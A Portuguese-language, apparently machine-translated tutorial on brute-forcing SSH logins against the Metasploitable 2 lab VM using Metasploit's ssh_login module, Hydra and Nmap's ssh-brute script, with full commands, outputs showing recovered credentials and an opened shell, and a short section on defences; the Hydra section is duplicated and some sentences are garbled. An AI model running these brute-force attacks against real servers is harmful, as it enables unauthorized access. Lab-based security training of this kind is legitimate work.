SL- 307

Obtenha acesso SSH de servidores por invasão de forças bruta

Uma das maneiras mais confiáveis ​​de obter acesso SSH a servidores é por credenciais de força bruta. alguns métodos de execução de um ataque de força bruta SSH que acabará por levar à descoberta de credenciais de login válidas.

Embora não sejam as únicas maneiras de fazer isso, exploraremos ferramentas como Metasploit , Hydra e o Nmap Scripting Engine no Nmap para realizar essa tarefa, todas incluídas no Kali Linux . praticando no Metasploitable 2 , um ambiente de teste propositadamente vulnerável para pentesting e pesquisa de segurança.

 

Visão geral do SSH

 

SSH, que significa Secure Shell, é um protocolo de rede que permite a comunicação criptografada em uma rede insegura, desenvolvido como uma alternativa ao Telnet , que envia informações em texto simples, o que é claramente um problema, especialmente quando as senhas estão envolvidas.

Ou seja, o cliente inicia uma conexão com o servidor e a comunicação é estabelecida após a autenticação, o SSH pode usar tanto a autenticação por senha quanto por chave privada , sendo esta última considerada mais segura.

Os usos do SSH incluem fornecer um meio para logins remotos e execução de comandos, transferência de arquivos, desenvolvimento móvel e solução de problemas de conectividade em aplicativos baseados em nuvem…

 

Digitalizar com Nmap

 

Antes de iniciarmos qualquer ataque de força bruta, precisamos determinar o estado da porta em que o SSH está sendo executado. Podemos executar uma varredura simples do Nmap para ver se ela está aberta ou não. Em vez de verificar todas as portas padrão, podemos especifique um único número de porta com o sinalizador -p.

 

~$ nmap 172.16.1.102 -p 22

Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-09 14:58 CST

Nmap scan report for 172.16.1.102

Host is up (0.0039s latency).

PORT STATE SERVICE

22/tcp open ssh

MAC Address: 08:00:27:77:62:6C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.33 seconds

 

Acima, podemos ver que a porta 22 está aberta e o serviço SSH está sendo executado nela. Seria uma perda de tempo se ela estivesse fechada ou não estivesse funcionando. Agora podemos iniciar o brute-forcing.

 

Metasploit

 

O primeiro método que testaremos hoje envolve um dos scanners auxiliares do Metasploit: primeiro, inicie o banco de dados PostgreSQL com o seguinte comando.

 

~$ sudo service postgresql start

 

Agora, podemos iniciar o Metasploit digitando msfconsole no terminal.

 

~$ msfconsole

 

# cowsay++

 ____________

< metasploit >

 ————

        ,__,

        (oo)____

           (__) )

              ||–|| *

       =[ metasploit v5.0.87-dev ]

+ — –=[ 2006 exploits – 1096 auxiliary – 343 post ]

+ — –=[ 562 payloads – 45 encoders – 10 nops ]

+ — –=[ 7 evasion ]

Metasploit tip: Use help <command> to learn more about any command

msf5 >

 

Você deve ver “msf” aparecer, mas para mim é “msf5”, pois estou usando a versão mais recente, Metasploit 5 , que pode ser atualizada executando a versão mais recente do Kali . É sempre uma boa ideia manter-se atualizado aqui está o comando que uso para atualizar: para aproveitar as últimas explorações e ferramentas.

 

~$ sudo apt update && sudo apt dist-upgrade

 

Em seguida, depois de ter recebido as boas-vindas para msfconsole, podemos encontrar o módulo apropriado com o comando search.

 

O módulo ssh_login é exatamente o que precisamos. Equipe-o com o comando use. Depois, você deve digitar “msf5 auxiliar (scanner / ssh / ssh_login), para saber que está trabalhando dentro do lugar certo.

 

msf5 > use auxiliary/scanner/ssh/ssh_login

Em seguida, podemos digitar options para exibir as configurações disponíveis para o scanner.

 

msf5 auxiliary(scanner/ssh/ssh_login) > options

 

Module options (auxiliary/scanner/ssh/ssh_login):

 

   Name Current Setting Required Description

   —- ————— ——– ———–

   BLANK_PASSWORDS false no Try blank passwords for all users

   BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5

   DB_ALL_CREDS false no Try each user/password couple stored in the current database

   DB_ALL_PASS false no Add all passwords in the current database to the list

   DB_ALL_USERS false no Add all users in the current database to the list

   PASSWORD no A specific password to authenticate with

   PASS_FILE no File containing passwords, one per line

   RHOSTS yes The target address range or CIDR identifier

   RPORT 22 yes The target port

   STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host

   THREADS 1 yes The number of concurrent threads

   USERNAME no A specific username to authenticate as

   USERPASS_FILE no File containing users and passwords separated by space, one pair per line

   USER_AS_PASS false no Try the username as the password for all users

   USER_FILE no File containing usernames, one per line

   VERBOSE false yes Whether to print output for all attempts

 

Precisamos definir algumas coisas para que isso funcione corretamente: Primeiro, RHOSTS é o endereço IP do nosso destino.

 

msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 172.16.1.102

rhosts => 172.16.1.102

 

Em seguida, STOP_ON_SUCCESS será interrompido após encontrar credenciais válidas.

 

msf5 auxiliary(scanner/ssh/ssh_login) > set stop_on_success true

stop_on_success => true

 

Então, USER_FILE é uma lista de nomes de usuário.

 

msf5 auxiliary(scanner/ssh/ssh_login) > set user_file users.txt

user_file => users.txt

 

E PASS_FILE é uma lista de senhas.

 

msf5 auxiliary(scanner/ssh/ssh_login) > set pass_file passwords.txt

pass_file => passwords.txt

 

Por fim, há VERBOSE , que exibirá todas as tentativas.

 

msf5 auxiliary(scanner/ssh/ssh_login) > set verbose true

verbose => true

 

Para os arquivos de usuário e senha, usei uma lista reduzida contendo credenciais conhecidas para esta demonstração. Em um ataque real, você provavelmente desejará usar uma das listas de palavras conhecidas ou uma personalizada para atender às suas necessidades.

Devemos estar prontos agora. Digite run no prompt para iniciar:

 

msf5 auxiliary(scanner/ssh/ssh_login) > run

[-] 172.16.1.102:22 – Failed: ‘user:password’

[-] 172.16.1.102:22 – Failed: ‘user:Password123’

[-] 172.16.1.102:22 – Failed: ‘user:msfadmin’

[-] 172.16.1.102:22 – Failed: ‘user:admin’

[-] 172.16.1.102:22 – Failed: ‘user:default’

[-] 172.16.1.102:22 – Failed: ‘user:root’

[-] 172.16.1.102:22 – Failed: ‘user:toor’

[-] 172.16.1.102:22 – Failed: ‘user:hello’

[-] 172.16.1.102:22 – Failed: ‘user:welcome’

[-] 172.16.1.102:22 – Failed: ‘user:hunter2’

[-] 172.16.1.102:22 – Failed: ‘msfadmin:password’

[-] 172.16.1.102:22 – Failed: ‘msfadmin:Password123’

[+] 172.16.1.102:22 – Success: ‘msfadmin:msfadmin’ ‘uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ‘

[*] Command shell session 1 opened (172.16.1.100:37615 -> 172.16.1.102:22) at 2020-08-09 15:06:58 -0600

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

 

Como configuramos a opção verbose, podemos ver todas as tentativas à medida que elas ocorrem. Dependendo do número de combinações de nome de usuário e senha, isso pode levar algum tempo para ser executado.

Quando credenciais válidas são encontradas, uma mensagem de sucesso é exibida e um shell de comando é aberto, mas ele não nos coloca automaticamente, então podemos exibir as sessões ativas atuais com o comando sessions.

 

msf5 auxiliary(scanner/ssh/ssh_login) > sessions

Active sessions

===============

  Id Name Type Information Connection

  — —- —- ———– ———-

  1 shell linux SSH msfadmin:msfadmin (172.16.1.102:22) 172.16.1.100:37615 -> 172.16.1.102:22 (172.16.1.102)

 

Isso diz que é uma conexão SSH. Para interagir com esta sessão, use o sinalizador -i.

 

msf5 auxiliary(scanner/ssh/ssh_login) > sessions -i 1

 

[*] Starting interaction with 1…

 

id

uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)

 

Agora estamos conectados ao destino via SSH e podemos executar comandos normalmente.

 

Hydra

 

A próxima ferramenta que usaremos é Hydra, um poderoso cracker de login que é muito rápido e suporta vários protocolos diferentes. Para mostrar a ajuda e algumas opções básicas de uso, basta digitar hydra no terminal. (Observe, se você estava anteriormente no ) o console do msf, certifique-se de fazer um cd dele antes de usar o Hydra.)

 

O Hydra contém uma variedade de opções, mas hoje usaremos o seguinte:

 

O sinalizador -L , que especifica uma lista de nomes de login.

O sinalizador -P , que especifica uma lista de senhas.

ssh: //172.16.1.102 — nosso alvo e protocolo.

O sinalizador -t definido como 4 , que define o número de tarefas paralelas a serem executadas.

Assim que iniciarmos, a ferramenta exibirá o status do ataque:

 

~$ hydra -L users.txt -P passwords.txt ssh://172.16.1.102 -t 4

 

Hydra v9.0 (c) 2019 by van Hauser/THC – Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-09 15:12:47

[DATA] max 4 tasks per 1 server, overall 4 tasks, 90 login tries (l:9/p:10), ~23 tries per task

[DATA] attacking ssh://172.16.1.102:22/

 

Após um período de tempo, ele será concluído e nos mostrará o número de logins bem-sucedidos encontrados.

 

Método 2

Hidra

A próxima ferramenta que usaremos é Hydra, um poderoso cracker de login que é muito rápido e suporta vários protocolos diferentes. Para mostrar a ajuda e algumas opções básicas de uso, basta digitar hydra no terminal. (Observe, se você estava anteriormente no ) o console do msf, certifique-se de fazer um cd dele antes de usar o Hydra.)

 

~$ hydra

 

Hydra v9.0 (c) 2019 by van Hauser/THC – Please do not use in military or secret service organizations, or for illegal purposes.

 

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

 

Options:

-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE

-p PASS or -P FILE try password PASS, or load several passwords from FILE

-C FILE colon separated “login:pass” format, instead of -L/-P options

-M FILE list of servers to attack, one entry per line, ‘:’ to specify port

-t TASKS run TASKS number of connects in parallel per target (default: 16)

-U service module usage details

-h more command line options (COMPLETE HELP)

server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)

service the service to crack (see below for supported protocols)

OPT some service modules support additional input (-U for module help)

 

Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

 

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL

v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra

Don’t use in military or secret service organizations, or for illegal purposes.

 

Example: hydra -l user -P passlist.txt ftp://192.168.0.1

O Hydra contém uma variedade de opções, mas hoje usaremos o seguinte:

 

O sinalizador -L , que especifica uma lista de nomes de login.

O sinalizador -P , que especifica uma lista de senhas.

ssh: //172.16.1.102 — nosso alvo e protocolo.

O sinalizador -t definido como 4 , que define o número de tarefas paralelas a serem executadas.

Assim que iniciarmos, a ferramenta exibirá o status do ataque:

 

~$ hydra -L users.txt -P passwords.txt ssh://172.16.1.102 -t 4

 

Hydra v9.0 (c) 2019 by van Hauser/THC – Please do not use in military or secret service organizations, or for illegal purposes.

 

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-09 15:12:47

[DATA] max 4 tasks per 1 server, overall 4 tasks, 90 login tries (l:9/p:10), ~23 tries per task

[DATA] attacking ssh://172.16.1.102:22/

Após um período de tempo, ele será concluído e nos mostrará o número de logins bem-sucedidos encontrados.

 

[22][ssh] host: 172.16.1.102 login: msfadmin password: msfadmin

[STATUS] 44.00 tries/min, 44 tries in 00:01h, 46 to do in 00:02h, 4 active

[STATUS] 42.00 tries/min, 84 tries in 00:02h, 6 to do in 00:01h, 4 active

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-09 15:15:10

 

O poder de processamento paralelo do Hydra o torna uma boa escolha quando um grande número de credenciais em potencial está envolvido.

 

Mecanismo de script Nmap

 

O último método de força bruta de credenciais SSH que testaremos hoje envolve o uso do Nmap Scripting Engine . O NSE contém um script que tentará forçar bruta todas as combinações possíveis de um par de nome de usuário e senha. Para executar esse ataque, podemos execute uma varredura simples do Nmap a partir de um novo terminal, como antes, mas com algumas opções extras:

 

–script ssh-brute especifica o script a ser usado.

–script-args definirá os argumentos para o script, separados por uma vírgula.

userdb = users.txt é a lista de nomes de usuário que desejamos usar.

passdb = passwords.txt é a lista de senhas que desejamos usar.

 

Agora, estamos prontos para iniciar a varredura:

 

O NSE exibirá as tentativas de força bruta e quais credenciais estão sendo testadas. Seja paciente — dependendo do número de nomes de usuário e senhas usados, isso pode levar algum tempo.

Depois de um tempo, a varredura terminará e um relatório será mostrado no terminal.

 

Nmap scan report for 172.16.1.102

Host is up (0.0011s latency).

PORT STATE SERVICE

22/tcp open ssh

| ssh-brute:

| Accounts:

| user:user – Valid credentials

| msfadmin:msfadmin – Valid credentials

| service:service – Valid credentials

|_ Statistics: Performed 66 guesses in 124 seconds, average tps: 0.5

MAC Address: 08:00:27:77:62:6C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 147.59 Second.

 

Acima, podemos ver que ele descobriu três credenciais de login válidas.Este script é útil porque irá iterar através de todos os pares possíveis de nomes de usuário e senhas, o que às vezes produz mais resultados.

 

Como prevenir o SSH Brute-Forcing

 

A realidade é que, se você tiver um servidor voltado para a Internet, haverá muitas tentativas de força bruta SSH diariamente, muitas das quais automatizadas . Mas não se preocupe, existem algumas soluções simples para ajudar a proteger contra isso e reduzir o número de tentativas de login.

Talvez uma das coisas mais fáceis de se fazer seja alterar o número da porta na qual o SSH opera, embora isso dissuadir as tentativas mais rudimentares de força bruta, é trivial verificar o SSH rodando em portas alternativas.

Um método melhor é implementar um serviço como Fail2ban , DenyHosts ou iptables para bloquear tentativas de força bruta no nível do host. Isso, combinado com o uso de autenticação de chave privada em vez de senhas, o colocará fora do alcance da maioria dos invasores. a autenticação baseada em dados é absolutamente necessária, use senhas fortes e siga as práticas recomendadas.

Conclusão

 

Neste guia, aprendemos sobre SSH e como usar credenciais de força bruta para obter acesso a um destino. Primeiro, abordamos como identificar portas abertas executando SSH. Em seguida, aprendemos como montar um ataque de força bruta usando três métodos: Metasploit , Hydra e o Nmap Scripting Engine Finalmente, examinamos algumas formas de proteção contra esses tipos de ataques.

O SSH é um protocolo predominante, portanto, todo hacker deve saber como atacá-lo – e como evitar esses ataques.

Mostrar mais

Artigos relacionados

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Botão Voltar ao topo